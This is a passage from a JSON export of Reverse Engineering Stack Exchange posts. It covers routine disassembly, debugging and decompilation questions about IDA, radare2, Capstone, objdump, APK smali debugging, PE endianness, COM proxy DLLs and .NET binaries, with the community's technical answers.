rel=\"noreferrer\">tail-recursion</a> by generating <a href=\"https://msdn.microsoft.com/en-us/library/system.reflection.emit.opcodes.tailcall(v=vs.110).aspx\" rel=\"noreferrer\">tailcall opcode</a> which is not the case with C# (at least for now). That could be an indicator. But it could be also manually crafted to use it after being written completely in C#.</p>\n"
    },
    {
        "Id": "17915",
        "CreationDate": "2018-04-06T13:19:08.270",
        "Body": "<p>Reverse an <code>.apk</code> file following <a href=\"https://blog.netspi.com/attacking-android-applications-with-debuggers/\" rel=\"nofollow noreferrer\">This Article</a></p>\n\n<ol>\n<li>Open <code>ApkStudio</code>, edit <code>AndroidManifest.xml</code> to allow debug and Build a new Apk file</li>\n<li>Got source code with <code>dex2jar</code> and <code>jd-gui</code></li>\n<li>Create an project in <code>Android Studio</code></li>\n<li>Put source code into the project folder</li>\n<li>install the apk in an Emulator</li>\n<li>run the app and start <code>Attach Debugger</code> in Android Studio</li>\n</ol>\n\n<p>Breakpoints successfully reached, but got no debug information with a <code>Source Code does not match bytecode</code> warning.</p>\n\n<p>What's wrong with my operations?</p>\n",
        "Title": "Got `Source Code does not match bytecode` debug a Reversed Android app",
        "Tags": "|disassembly|debugging|android|",
        "Answer": "<p>The source code you got is not a perfect match, it is representative.  You will likely want to debug in <a href=\"https://github.com/JesusFreke/smali\" rel=\"nofollow noreferrer\">smali</a>, not Java. The smali plugin for AndroidStudio works really well for this.</p>\n"
    },
    {
        "Id": "17922",
        "CreationDate": "2018-04-07T04:00:30.983",
        "Body": "<p>For ELF files, there is a field near the start of the ELF header that indicates the endianness of the file:<a href=\"https://en.wikipedia.org/wiki/Executable_and_Linkable_Format#File_layout\" rel=\"nofollow noreferrer\">e_ident[EI_DATA]</a>.  If an application wants to extract data from the header of a given ELF binary, this field can be used to know whether <a href=\"http://man7.org/linux/man-pages/man3/endian.3.html\" rel=\"nofollow noreferrer\">endianness adjustments</a> are needed for extracted integer values.</p>\n\n<p>Is there an equivalent process for determining the endianness of a given PE file, or is it safe to assume that all PE files will use little endianness for stored integer values?</p>\n\n<p>The majority of PE files encountered will likely be compiled for x86 or x86_64 (and, thus, will use little endianness), but the question arises for PE files built for Windows on ARM / ARM64, since many ARM processors have big endian and little endian modes of operation.  Also, <a href=\"https://msdn.microsoft.com/en-us/library/ms809762.aspx\" rel=\"nofollow noreferrer\">this article</a> implies that Windows supports/supported running on other architectures like MIPS as well, which may have supported big endianness also.</p>\n",
        "Title": "Determining endianness of PE files (Windows on ARM?)",
        "Tags": "|arm|pe|",
        "Answer": "<p>Windows platforms have a fixed endianness and do not support running different endianness files. The file format itself uses always little-endian fields. </p>\n\n<p>AFAIK the only Windows platform supporting big-endian was the Xbox 360 (aka Xenon), which can be identified by the machine value <code>0x01F2</code> (not publicly documented but probably defined as <code>IMAGE_FILE_MACHINE_PPCBE</code> in source headers). Such files use little-endian headers but contain big-endian instructions and data.</p>\n\n<p>All other Windows platforms (even earlier MIPS and PowerPC NT versions) only supported little-endian configurations.</p>\n\n<p>In addition, the Windows on ARM aka Windows RT platform (ARMv7, <code>IMAGE_FILE_MACHINE_ARMNT=0x01c4</code>) only officially supports Thumb mode instructions. (earlier Windows CE releases supported classic ARM mode too).</p>\n"
    },
    {
        "Id": "17930",
        "CreationDate": "2018-04-08T20:07:33.243",
        "Body": "<p>I am using IDA Pro 6 and I'm looking for a way to automatically export an analysed file into <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/441.shtml\" rel=\"nofollow noreferrer\">a listing (.lst) file</a>.</p>\n\n<p>The interface of IDA enables to do this action using the menu <strong>File > Produce File > Create LST file...</strong>, but I could not find a way to execute this action in batch mode (by running IDA in a terminal with the -B). The Hex-Rays's <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/417.shtml\" rel=\"nofollow noreferrer\">help page</a> does not seem to help, as I'm unable to find a switch that matches my needs.</p>\n\n<p>Is there any way I could get the listing out of IDA in an automated way ? Maybe with a IDC/Python script ?</p>\n\n<p>A typical listing I would need is composed of the address location, bytes and assembly for each instruction, such as below (the lines with only comments or variables declaration can be omitted if there is no other possibility):</p>\n\n<pre><code>text:004016B0             ; =============== S U B R O U T I N E =======================================\n.text:004016B0\n.text:004016B0            ; Attributes: noreturn bp-based frame\n.text:004016B0\n.text:004016B0            ___report_gsfailure proc near       ; CODE XREF: __security_check_cookie(x):$failure$3j\n.text:004016B0\n.text:004016B0            var_324         = dword ptr -324h\n.text:004016B0            var_8       = dword ptr -8\n.text:004016B0            var_4       = dword ptr -4\n.text:004016B0\n.text:004016B0 8B FF                  mov     edi, edi\n.text:004016B2 55                 push    ebp\n.text:004016B3 8B EC                  mov     ebp, esp\n.text:004016B5 81 EC 24 03 00+            sub     esp, 324h\n.text:004016BB A3 40 21 40 00             mov     dword_402140, eax\n.text:004016C0 89 0D 3C 21 40+            mov     dword_40213C, ecx\n.text:004016C6 89 15 38 21 40+            mov     dword_402138, edx\n.text:004016CC 89 1D 34 21 40+            mov     dword_402134, ebx\n.text:004016D2 89 35 30 21 40+            mov     dword_402130, esi\n.text:004016D8 89 3D 2C 21 40+            mov     dword_40212C, edi\n</code></pre>\n",
        "Title": "IDA Pro - how to export a listing file in batch mode",
        "Tags": "|ida|disassembly|idapython|",
        "Answer": "<p>contents of directory prior to test </p>\n\n<pre><code>:\\&gt;ls -l | awk \"{print $5 , $8}\"\n\n190 bldwmsgbox.bat\n175 dumplst.idc\n108 wmsgbox.cpp\n</code></pre>\n\n<p>compiling and linking src </p>\n\n<pre><code>:\\&gt;bldwmsgbox.bat\n**********************************************************************\n** Visual Studio 2017 Developer Command Prompt v15.6.4\n** Copyright (c) 2017 Microsoft Corporation\n**********************************************************************\nwmsgbox.cpp\n</code></pre>\n\n<p>contents of idc file</p>\n\n<pre><code>:\\&gt;cat dumplst.idc\n#include &lt;idc.idc&gt;\nstatic main(void) {\nauto fp;\nBatch(1);\nWait();\nfp = fopen(\"idclst.lst\",\"w\");\nGenerateFile(OFILE_LST,fp,MinEA(),MaxEA(),0x0);\nfclose(fp);\nExit(0);\n}\n</code></pre>\n\n<p>automatic analysis and creation of lst file </p>\n\n<pre><code>:\\&gt;e:\\IDA_FREE_5\\idag.exe -B -Sdumplst.idc wmsgbox.exe\n</code></pre>\n\n<p>deleting the idb and reopening the binary in gui to produce a lst file \nfrom file->produce file->create lst file</p>\n\n<pre><code>:\\&gt;del *.idb\n\n:\\&gt;echo \"using gui file-&gt;producefile to make another lst for comparison\"\n\"using gui file-&gt;producefile to make another lst for comparison\"\n\n:\\&gt;e:\\IDA_FREE_5\\idag.exe wmsgbox.exe\n\n:\\&gt;ls -l *.lst | awk \"{print $5 , $8}\"\n16877 guiidclst.lst\n18617 idclst.lst\n\n:\\&gt;wc -l *.lst\n  574 guiidclst.lst\n  580 idclst.lst\n 1154 total\n\n:\\&gt;echo \"appears to be whitespace diff \njust 6 ines bigger but too much byte variation \nappears to be whitespace difference \"\n</code></pre>\n\n<p>diff output ignoring whitespace and case</p>\n\n<pre><code>:\\&gt;diff -iw idclst.lst guiidclst.lst\n24d23\n&lt; .text:00401000 ; IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII\n33d31\n&lt; .text:00401000 ; UUUUUUUUUUUUUUU S U B R O U T I N E UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU\n66d63\n&lt; .idata:00402000       ; IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII\n71,72c68\n&lt; .idata:00402000                       extrn __imp__ExitProcess@4:dword ; DATA XREF: main+19\u2191r\n&lt; .idata:00402000                                               ; ExitProcess(x)\u2191r\n---\n&gt; .idata:00402000       extrn __imp__ExitProcess@4:dword\n78,79c74\n&lt; .idata:00402008                       extrn __imp__MessageBoxA@16:dword ; DATA XREF: main+11\u2191r\n&lt; .idata:00402008                                               ; MessageBoxA(x,x,x,x)\u2191r\n---\n&gt; .idata:00402008       extrn __imp__MessageBoxA@16:dword\n82d76\n&lt; .rdata:00402010       ; IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII\n90c84\n&lt; .rdata:00402010       Caption         db 'test',0             ; DATA XREF: main+5\u2191o\n---\n&gt; .rdata:00402010       Caption db 'test',0\n93c87\n&lt; .rdata:00402018       Text            db 'test',0             ; DATA XREF: main+A\u2191o\n---\n&gt; .rdata:00402018       Text db 'test',0\n\n:\\&gt;\n</code></pre>\n"
    },
    {
        "Id": "17931",
        "CreationDate": "2018-04-09T04:09:24.933",
        "Body": "<p>I'm playing around with Hopper and am looking at the disassembly of a binary that <code>otool</code> reports as having the <code>PIE</code> flag.</p>\n\n<p>It's my understanding that as a result, the executable base address will be randomized, and so jumps have to be relative to the current instruction pointer.</p>\n\n<p>However, looking at the output of this PIE binary in Hopper, I see absolute jumps like so:</p>\n\n<pre><code>00000001000021df    mov      rbx, rax\n00000001000021e2    test     rbx, rbx\n00000001000021e5    je       0x1000021c0\n</code></pre>\n\n<p>Is Hopper just translating the relative jumps into an absolute jump assuming the text segment is loaded at the standard virtual address of <code>0x100000000</code>, or am I missing something conceptual with regards to how position independent executables work?</p>\n",
        "Title": "Why are there absolute jmps in disassembly of position independent code?",
        "Tags": "|assembly|osx|mach-o|macos|pie|",
        "Answer": "<p>well megabeets was faster \nhere is how to check it in windbg </p>\n\n<pre><code>0:000&gt; ? .\nEvaluate expression: 1999570342 = 772f05a6\n0:000&gt; EB . 74 D9\n0:000&gt; U . L1\nntdll!LdrpDoDebuggerBreak+0x2c:\n772f05a6 74d9            je      ntdll!LdrpDoDebuggerBreak+0x7 (772f0581)\n0:000&gt; ? 772F0581 - .\nEvaluate expression: -37 = ffffffdb\n0:000&gt; ? 21E5-21C0\nEvaluate expression: 37 = 00000025\n0:000&gt;\n</code></pre>\n"
    },
    {
        "Id": "17946",
        "CreationDate": "2018-04-10T10:34:24.277",
        "Body": "<p>I'm trying to play around with the Capstone Disassembler in C.</p>\n\n<p>In the documentation they show the following use of the <code>cs_disasm()</code> function:\n<a href=\"http://www.capstone-engine.org/lang_c.html\" rel=\"nofollow noreferrer\">from here</a></p>\n\n<pre><code>count = cs_disasm(handle, CODE, sizeof(CODE)-1, 0x1000, 0, &amp;insn)\n</code></pre>\n\n<p>The thing that bugs me is that <code>0x1000</code>. In the documentation (<a href=\"https://github.com/aquynh/capstone/blob/master/include/capstone.h\" rel=\"nofollow noreferrer\">source code actually</a>) it says:</p>\n\n<blockquote>\n  <p>@address: address of the first instruction in given raw code buffer.</p>\n</blockquote>\n\n<p>I can't really understand what does that really mean, because from what I understand the <code>insn</code> array is being dynamically allocated and filled, and that's where the instructions will reside (or are they?)</p>\n\n<p>Why is it a fixed value like <code>0x1000</code>? is that actually address in the memory of the program? (isn't that an illegal address space for a C program to use?)</p>\n\n<p>Thanks in advance</p>\n",
        "Title": "Capstone: What's the purpose of the 'address' argument in cs_disasm()?",
        "Tags": "|c|disassemblers|capstone|",
        "Answer": "<p>that address is the <strong>virtual address</strong> you want to disassemble </p>\n\n<p>for example you have a relative jump  </p>\n\n<p>the opcodes will be say <strong>0x74 {imm }</strong> where <strong>{imm}</strong> is relative to the current address \neither in positive direction or in negative direction </p>\n\n<p>so if the  current address is 0x1000  a relative jump with <strong>{5} imm  from 0x1000</strong> in positive direction  should land you in in 0x1005  </p>\n\n<p>if the address was 0x2000 it should land you in 0x2005 </p>\n\n<p>that is the disassembly on the current line should state </p>\n\n<p>jmp 0x1005 or jmp 0x2005 etc etc  </p>\n\n<p>if you do not give the address the disassembly will just say <strong>jmp 5</strong>  </p>\n\n<p>here is a piece of similar python code </p>\n\n<pre><code>Python 2.7 (32-bit) interactive window [PTVS 15.6.18072.2-15.0]\n\n&gt;&gt;&gt; from capstone import *\n&gt;&gt;&gt; CODE = b\"\\x74\\xd9\"\n&gt;&gt;&gt; md = Cs(CS_ARCH_X86,CS_MODE_32)\n&gt;&gt;&gt; for i in md.disasm(CODE , 0x1000):\n...     print(\"0x%x:\\t%s\\t%s\" %(i.address, i.mnemonic, i.op_str))\n... \n0x1000: je  0xfdb  &lt;&lt;&lt;&lt; (0x1000 - 0x25)\n\n&gt;&gt;&gt; for i in md.disasm(CODE , 0x25):\n...     print(\"0x%x:\\t%s\\t%s\" %(i.address, i.mnemonic, i.op_str))\n... \n0x25:   je  0    &lt;&lt;&lt;&lt; (0x25 - 0x25) \n</code></pre>\n"
    },
    {
        "Id": "17953",
        "CreationDate": "2018-04-10T15:22:24.037",
        "Body": "<p>I want to do an analysis with the mnemonics. I can export everything to text but I only need the last column. Any idea on how can I solve this?<br>\nIn other words of this output of objdump (objdump -d file) </p>\n\n<p><a href=\"https://i.stack.imgur.com/KpTpR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KpTpR.png\" alt=\"enter image description here\"></a></p>\n\n<p>how can I only extract: </p>\n\n<pre><code>lea \nlea\npush\nnop\nnop\nlea\nmov\nlea\n</code></pre>\n",
        "Title": "How can I export only the mnemonics from objdump (or any other program)?",
        "Tags": "|disassembly|malware|objdump|assembly|",
        "Answer": "<p>getting start address </p>\n\n<pre><code>objdump.exe -f calc.exe | grep start\nstart address 0x01012d6c\n</code></pre>\n\n<p>arguments passed to objdump via @File syntax where @File is disopt.txt \ncontaining arguments as below </p>\n\n<pre><code>C:\\&gt;cat disopt.txt\n-d\n-M intel\n--no-show-raw-insn\n--start-address         0x1012d6c\n--stop-address          0x1012d8f\n</code></pre>\n\n<p><strong>C:>objdump.exe @disopt.txt c:\\Windows\\System32\\calc.exe | sed 1,7d | awk \"{print $2}\"</strong></p>\n\n<pre><code>call\npush\npush\ncall\nxor\nmov\nmov\nlea\npush\ncall\n</code></pre>\n\n<p>sed to remove first 7 lines<br>\nawk to print second column</p>\n\n<p>actual disassembly without stripping lines and columns</p>\n\n<pre><code>C:\\&gt;objdump.exe @disopt.txt c:\\Windows\\System32\\calc.exe\n\nc:\\Windows\\System32\\calc.exe:     file format pei-i386\n\n\nDisassembly of section .text:\n\n01012d6c &lt;.text+0x11d6c&gt;:\n 1012d6c:       call   0x1012abc\n 1012d71:       push   0x58\n 1012d73:       push   0x1012ee8\n 1012d78:       call   0x100c768\n 1012d7d:       xor    ebx,ebx\n 1012d7f:       mov    DWORD PTR [ebp-0x1c],ebx\n 1012d82:       mov    DWORD PTR [ebp-0x4],ebx\n 1012d85:       lea    eax,[ebp-0x68]\n 1012d88:       push   eax\n 1012d89:       call   DWORD PTR ds:0x100114c\n</code></pre>\n\n<p>Edit To answer the comment about two mnemonic (the prefix operands like lock  rep , repz , repnz etc )</p>\n\n<pre><code>:\\&gt;objdump --no-show-raw-insn -d calc.exe | awk \"{ if($2==\\\"lock\\\") {print $2,$3} }\"\nlock ja\nlock (bad)\nlock add\nlock xadd\n:\\&gt;objdump --no-show-raw-insn -d calc.exe | awk \"{ if($2==\\\"rep\\\") {print $2,$3} }\"\nrep stos\nrep movsl\n</code></pre>\n"
    },
    {
        "Id": "18004",
        "CreationDate": "2018-04-16T03:55:13.007",
        "Body": "<p>Let's say I want to check <a href=\"https://stackoverflow.com/a/27265685/124486\">this guys work</a>. He says that he is getting </p>\n\n<pre><code>8d 15 c8 90 04 08       lea    0x80490c8,%edx\nba c8 90 04 08          mov    $0x80490c8,%edx\n</code></pre>\n\n<p>Is there an easy way with Radare to disassemble an user-provide byte-sequence like <code>8d 15 c8 90 04 08</code></p>\n",
        "Title": "Can I provide bytes to Radare to be disassembled?",
        "Tags": "|disassembly|assembly|radare2|",
        "Answer": "<p>use rasm2 - a x86,arm,ppc,whatever   -b 16,32,64  -d \"de ad d0 0d\"</p>\n"
    },
    {
        "Id": "18007",
        "CreationDate": "2018-04-16T04:49:48.333",
        "Body": "<p>When I <a href=\"https://reverseengineering.stackexchange.com/a/18005/22669\">disassemble this instruction using <code>pad</code> on Radare I get an <code>LEA</code> with <code>rip</code></a></p>\n\n<pre><code>[0x00000000]&gt; pad 8d 15 c8 90 04 08\nlea edx, [rip + 0x80490c8]\n</code></pre>\n\n<p>I got this instruction from this <a href=\"https://stackoverflow.com/a/27265685/124486\">post here</a> I'm confused though why the disassembly shows <code>rip + 0x80490c8</code>, when <a href=\"https://stackoverflow.com/a/27265685/124486\">the original post</a> claims it's the equivalent of <code>mov</code>? Is this the right disassembled output? Why would the instruction pointer be in the <code>LEA</code>? Is that an implicit base, or did the original poster make a mistake?</p>\n",
        "Title": "Disassembly shows `LEA` with RIP?",
        "Tags": "|assembly|x86|radare2|",
        "Answer": "<p>32-bit x86 has 2 redundant ways to encode <code>[disp32]</code> (with no registers): with and without a SIB byte.  Assemblers will of course always use the shorter form, and that's what the link in your question is showing.</p>\n\n<p>You're disassembling as 64-bit machine code.</p>\n\n<p>x86-64 repurposed the without-SIB version to mean <code>[RIP + rel32]</code>, leaving the longer with-SIB version to still mean <code>[sign_extended_disp32]</code> like when you use a disp32 with GP registers.  (RIP-relative is not available combined with any GP registers; only this one specific ModR/M encoding.)</p>\n\n<p>In NASM syntax, <code>[rel foo]</code> vs. <code>[abs foo]</code>, or use <code>default rel</code>.</p>\n\n<hr>\n\n<p>AFAIK, <code>lea r32, [disp32]</code> instead of <code>mov r32, imm32</code> is never useful for performance on any CPU I'm aware of, <a href=\"https://stackoverflow.com/questions/48046814/what-methods-can-be-used-to-efficiently-extend-instruction-length-on-modern-x86\">except to make an instruction longer on purpose instead of padding with NOP</a>.</p>\n\n<p>The only use-case for <code>lea</code> for static addresses is in 64-bit code with RIP-relative LEA.</p>\n\n<p>See <a href=\"https://stackoverflow.com/questions/46597055/using-lea-on-values-that-arent-addresses-pointers/46597375#46597375\">this canonical answer</a> for more about LEA, but really <strong>this question has nothing to do with LEA specifically, and would have happened with any instruction that used a <code>disp32</code> ModR/M addressing mode decoded in the wrong mode.</strong>  You only ran into this because you found an example that compared using an inefficient <code>lea</code> with an efficient <code>mov</code>-immediate in 32-bit mode.</p>\n"
    },
    {
        "Id": "18009",
        "CreationDate": "2018-04-16T05:08:40.507",
        "Body": "<p><a href=\"https://reverseengineering.stackexchange.com/users/18698/megabeets\">Megabeets</a> determined <a href=\"https://reverseengineering.stackexchange.com/a/18008/22669\">in this answer</a> that depending on <code>asm.bits</code> Radare may show either</p>\n\n<pre><code>lea edx, [0x80490c8]         (asm.bits=32)\nlea edx, [rip + 0x80490c8]   (asm.bits=64)\n</code></pre>\n\n<p>If I want to see what the byte-code would look like for <code>lea edx, [0x80490c8]</code> in x86_64, how would I go about getting that?</p>\n",
        "Title": "Printing bytecode in bytes given a string of assembly for Radare to disassemble?",
        "Tags": "|assembly|x86|radare2|x86-64|",
        "Answer": "<p>Actually, there is no <code>lea edx, [0x80490c8]</code> for 64-bits addressing modes. Since, afaik, in all 64-bits addressing modes <code>lea</code> is a register relative opcode.</p>\n\n<blockquote>\n  <p><strong>LEA - Load Effective Address</strong><br>\n  Computes the effective address of the second operand (the\n  source operand) and stores it in the first operand (destination\n  operand). The source operand is a memory address (offset part)\n  specified with one of the processors addressing modes; the destination\n  operand is a general-purpose register.  </p>\n  \n  <p>Source: Intel\u00ae <a href=\"https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf\" rel=\"nofollow noreferrer\">64 and IA-32 Architectures\n  Software Developer\u2019s Manual</a></p>\n</blockquote>\n\n<hr>\n\n<p>Anyway, if you want to know the bytecodes that represent an instruction using radare2 you can use the <code>pa</code> command.</p>\n\n<p>In 32-bits mode it'll look like this:</p>\n\n<pre><code>[0x00000000]&gt; e asm.bits=32\n[0x00000000]&gt; pa lea edx, [0x80490c8]\n8d15c8900408\n[0x00000000]&gt; pad 8d15c8900408\nlea edx, [0x80490c8]\n</code></pre>\n\n<p>In 64-bits mode it'll look like this:</p>\n\n<pre><code>[0x00000000]&gt; e asm.bits=64\n[0x00000000]&gt; pa lea edx, [0x80490c8]\n488d15c8900408\n[0x00000000]&gt; pad 488d15c8900408\nlea rdx, [rip + 0x80490c8]\n</code></pre>\n\n<p>You can see that radare2 knows that <code>lea edx, [0x80490c8]</code> can't be expressed in 64bits so it uses a RIP relative expression.</p>\n"
    },
    {
        "Id": "18014",
        "CreationDate": "2018-04-16T17:44:03.363",
        "Body": "<p>I am working on an application where we need to encrypt certain assets at compile time in Gradle. We then need to decrypt them with the same private key, so we are using a symmetric key system but we could go to an asymmetric system. The key issue is that we want to keep the keys in the APK somehow but store them securely. That way we don't have to make a server request for these private keys or a partner key in an asymmetric system. The APK file itself is fairly easy to reverse engineer and decompile, including the resources and the Java code.</p>\n\n<p>We are using a C library in our application, however. We are using a .so file of this library compiled for the ARM architecture. We use the SWIG interface from our application's main Java code to interact with this library. I am wondering if I can store the private keys in this library's source code and then access these keys via SWIG binding functions. I think this is the best solution for my problem because ARM .so files require a fancy commercial decompiler and knowledge of the ARM architecture to effectively reverse-engineer them. Thus making this method of getting the private keys pretty darn secure.</p>\n",
        "Title": "Android- hiding private keys in .so file",
        "Tags": "|decompilation|c|android|apk|software-security|",
        "Answer": "<p>Hiding the keys anywhere in the apk (including .so files) is definitely not enough to keep the keys secret for the long time. The code that can be executed definitely can be reverse engineered, and the key could be extracted - even without having fancy decompiler and knowing ARM architecture well (by the way, there is a <a href=\"https://retdec.com/\" rel=\"nofollow noreferrer\">non-commercial decompiler for arm32</a>). </p>\n\n<p>I strongly suggest you to read something about <a href=\"https://web.archive.org/web/20130717060858/http://joye.site88.net/papers/Joy08whitebox.pdf#\" rel=\"nofollow noreferrer\">white box cryptography</a> and search for the solution in this specific area which was developed in order to solve this kind of problems. </p>\n"
    },
    {
        "Id": "18028",
        "CreationDate": "2018-04-18T13:40:37.820",
        "Body": "<p>In this Superuser topic <a href=\"https://superuser.com/questions/1220373/\">Windows 10 Media Creation Tool, how does it work?</a>, it is possible to extract the URL from SetupMgr.dll. My question is, how do I extract this URL from SetupMgr.dll? I want to be able to do this in future versions of the Media Creation Tool.</p>\n",
        "Title": "Decompile a DLL file from Microsoft Media Creation Tool",
        "Tags": "|dll|decompile|",
        "Answer": "<p><strong>Disclaimer:</strong> The following links are for Fall Creators Update and may be change in future updates.</p>\n\n<p>Download the Media Creation Tool from <a href=\"https://www.microsoft.com/en-US/software-download/windows10\" rel=\"nofollow noreferrer\">Microsoft website</a>. Open the executable in <a href=\"https://www.7-zip.org/download.html\" rel=\"nofollow noreferrer\">7ZIP</a> and extract all the files in a folder. Then download <a href=\"https://docs.microsoft.com/en-us/sysinternals/downloads/strings\" rel=\"nofollow noreferrer\">Strings from Sysinternals</a> and place it in that previous folder whre you've extracted files. Open Command Prompt in that folder and run this command:</p>\n\n<pre><code>For /R %X in (*.*) do (Strings.exe %X) | find /i \"LinkID\"\n</code></pre>\n\n<p>This command searches all the strings in all files recursively and shows the strings containing \"LinkID\" (piped to <code>find /i</code>). Open all the URLs in any browser and one of them (total 7 or 8 links) will download the Products.CAB or Products.XML file which contains <em>all Windows ESD download links</em>.</p>\n\n<p>Alternatively, extract the <strong>SetupMgr.dll</strong> file from MediaCreationTool.exe as above. Then open that DLL in IDA. Press <kbd>Shift</kbd>+<kbd>F12</kbd> to open strings window and find <code>LinkID</code>. There will be two strings.</p>\n\n<p><a href=\"https://i.stack.imgur.com/NFdqj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NFdqj.png\" alt=\"LinkID_in_IDA\"></a></p>\n\n<ul>\n<li><p>The Link for Products.CAB: <strong><a href=\"https://go.microsoft.com/fwlink/?LinkId=841361\" rel=\"nofollow noreferrer\">https://go.microsoft.com/fwlink/?LinkId=841361</a></strong></p></li>\n<li><p>This LinkID redirected to another direct download link (<strong>may not work in future</strong>):</p>\n\n<ul>\n<li><a href=\"https://wscont.apps.microsoft.com/winstore/OSUpgradeNotification/MediaCreationTool/prod/Products_20170317.cab\" rel=\"nofollow noreferrer\">products_20170317.cab</a></li>\n<li><a href=\"https://download.microsoft.com/download/3/8/9/38926395-6FB1-4487-83DF-4241D2EA79F7/products_20171005.cab\" rel=\"nofollow noreferrer\">products_20171005.cab</a></li>\n<li><a href=\"https://download.microsoft.com/download/3/2/3/323D0F94-95D2-47DE-BB83-1D4AC3331190/products_20180105.cab\" rel=\"nofollow noreferrer\">products_20180105.cab</a></li>\n<li><a href=\"https://download.microsoft.com/download/6/2/6/626729CF-8C1C-43DF-8C9C-AD2FD56948C3/products_20180420.cab\" rel=\"nofollow noreferrer\">products_20180420.cab</a></li>\n</ul></li>\n</ul>\n\n<p><strong>Tip:</strong> Check the real file type of MediaCreaTool.exe using the following <a href=\"https://www.7-zip.org/download.html\" rel=\"nofollow noreferrer\">7ZIP</a> command and that will be CAB type.</p>\n\n<pre><code>7z t MediaCreationTool.exe | find /i \"type\"\n</code></pre>\n\n\n"
    },
    {
        "Id": "18030",
        "CreationDate": "2018-04-18T20:13:38.573",
        "Body": "<p>I've successfully reverse a DLL file which uses a COM interface and found the Class ID (CLSID) and Interface ID (IID). In Visual Studio debugging memory, it shows <code>S_OK</code> with <code>CoCreateInstance()</code> and all the function pointers of that COM interface. I saw this <a href=\"https://reverseengineering.stackexchange.com/questions/2530/what-are-general-guide-lines-for-reversing-com-objects\">question</a> but that uses IDA to reverse a DLL.</p>\n<p>I've followed an <a href=\"https://web.archive.org/web/20070428122627/http://geekswithblogs.net:80/hdevos/archive/2004/03/15/2936.aspx\" rel=\"nofollow noreferrer\">article</a> which shows finding methods definition using Visual Studio debug mode. I've both CLSID and IID from which I get the interface pointer.</p>\n<p>So, my question is how can I find the (undocumented) function definitions? Is there any easy general guidelines to follow? It will be easy if someone show an procedure with Visual Studio, reversing with IDA is bit more complex.</p>\n<hr />\n<p><strong>Update:</strong> According to the answer I reverse the DLL in IDA but the assembly shows the</p>\n<pre><code>off_180002230   dq offset off_1800023D0 ; DATA XREF: .rdata:off_180002480\u2193o\n                dq offset ILxssUserSession\n                dq offset IUnknown_QueryInterface_Proxy\n                dq offset IUnknown_AddRef_Proxy\n                dq offset IUnknown_Release_Proxy\n                dq offset ObjectStublessClient3\n                dq offset ObjectStublessClient4\n                dq offset ObjectStublessClient5\n                dq offset ObjectStublessClient6\n                dq offset ObjectStublessClient7\n                dq offset ObjectStublessClient8\n                dq offset ObjectStublessClient9\n                dq offset ObjectStublessClient10\n                dq offset ObjectStublessClient11\n                dq offset ObjectStublessClient12\n                dq offset ObjectStublessClient13\n                dq offset ObjectStublessClient14\nunk_1800022B8   db  22h ; &quot;             ; DATA XREF: .rdata:0000000180002DE0\u2193o\n</code></pre>\n<p>How can I relate those offset to a real function pointer? The current DLL is a proxy stub DLL and the real function is implemented/defined in another DLL. I've also seen this <a href=\"https://reverseengineering.stackexchange.com/questions/2822/com-interface-methods\">question</a> which shows to follow function pointers.</p>\n",
        "Title": "What are guidelines to find COM functions definition through a proxy DLL?",
        "Tags": "|debugging|com|",
        "Answer": "<p>Well, in general you follow the code flow from DllGetClassObject and find the code which creates COM classes depending on clsid and iid. Due to COM methods are virtual methods of C++ class, you'll be able to find VTBL for each COM class, and from there determine how many methods it has. Then you reverse each method to understand how many arguments it has and which are the types of arguments.</p>\n"
    },
    {
        "Id": "18033",
        "CreationDate": "2018-04-19T07:06:40.373",
        "Body": "<p>I have the compiled code with all .pdb, vshost and everything that is generated.\nI am already using DotPeek without too much hassle. Would like to know If I can retrieve the original code with all the pdb and vshost files generated from compilation with the original names.</p>\n\n<p>I know pdb maps your compiled exe to the original source code you have in visual studio to make debugging available. </p>\n\n<p>So basically pdb should be a \"map\" to what you wrote in visual studio and the optimized binary you have, that results in a CIL/C# code in DotPeek decompiled source.</p>\n\n<p>There is a way with those files to retrieve the code in a non-optimized way (or to say differently, like it was in visual studio original source?)</p>\n\n#\n\n<p>EDIT</p>\n\n#\n\n<p>Well, it seems it's not possible. Peace :)</p>\n",
        "Title": ".NET: It's possible to recover original source code from compiled .exe when I have all the .vshost, .pdb and compiled files?",
        "Tags": "|decompilation|.net|pdb|",
        "Answer": "<p>If the program is not obfuscated you can recover something very similar to the source code (even if you don't have a PDB file), I've done it once using reflector (you can use also dnSpy, which is an open source software), but after that you have to fix a lot of things (like the names of anonymous method)</p>\n"
    },
    {
        "Id": "18039",
        "CreationDate": "2018-04-19T22:24:01.753",
        "Body": "<p>I am learning about how the call stack works by reverse engineering binaries using Radare2 (in a Linux environment). The ISA on the server (a P5 micro-architecture) I am analyzing binaries off of is x86 (Intel syntax). </p>\n\n<p>Say I want to print a very simple string to the console by compiling a C program named <code>hello.c</code> in to an executable:</p>\n\n<pre><code>int main()\n{\n    printf(\"Hello world!\");\n\n    return (0);\n}\n</code></pre>\n\n<p>How does the CPU transfer the data containing the \"Hello world!\" string from the stack space reserved for the <code>hello</code> executable in memory to the console output?</p>\n",
        "Title": "How is data transferred from the process\u2019 memory to the console screen?",
        "Tags": "|x86|memory|stack|",
